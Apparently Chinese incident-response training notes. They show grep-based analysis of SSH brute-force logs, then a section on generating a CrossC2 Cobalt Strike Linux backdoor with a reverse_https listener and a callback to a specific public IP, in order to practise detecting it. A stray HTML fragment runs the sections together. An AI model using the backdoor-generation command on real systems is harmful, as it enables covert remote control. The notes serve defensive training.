演示案例: - 案例1-攻击响应-暴力破解(RDP,SSH)-Win,Linux
Windows-LogFusion载入查看:
事件归类,事件ID,事件状态等,参考百度资料
Linux-grep筛选:
1、统计了下日志,确认服务器遭受多少次暴力破解
grep -o “Failed password” /var/log/secure|uniq -c
2、输出登录爆破的第一行和最后一行,确认爆破时间范围:
grep “Failed password” /var/log/secure|head -1
grep “Failed password” /var/log/secure|tail -1
3、进一步定位有哪些IP在爆破?
grep “Failed password” /var/log/secure|grep -E -o “(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)”|uniq -c | sort -nr
4、爆破用户名字典都有哪些?
grep “Failed password” /var/log/secure|perl -e ‘while($_=<>){ /for(.*?) from/; print “$1\n”;}’|uniq -c|sort -nr
5、登录成功的日期、用户名、IP:
grep “Accepted “ /var/log/secure | awk ‘{print $1,$2,$3,$9,$11}’
grep “Accepted “ /var/log/secure | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more - https://github.com/gloxec/CrossC2

参考过程:http://www.adminxe.com/1287.html
1.项目上传至服务端目录,给予执行权限
2.配置监听器:
windows/beacon_https/reverse_https 阿里云记得端口放行
3.生成后门:
./genCrossC2.Linux 47.99.49.65 5566 null null Linux x64 C2
通过网络监听工具及windows日志分析或执行记录查找后门问题">案例2-控制响应-后门木马(Webshell,PC)-Win,Linux
windows:默认配置测试
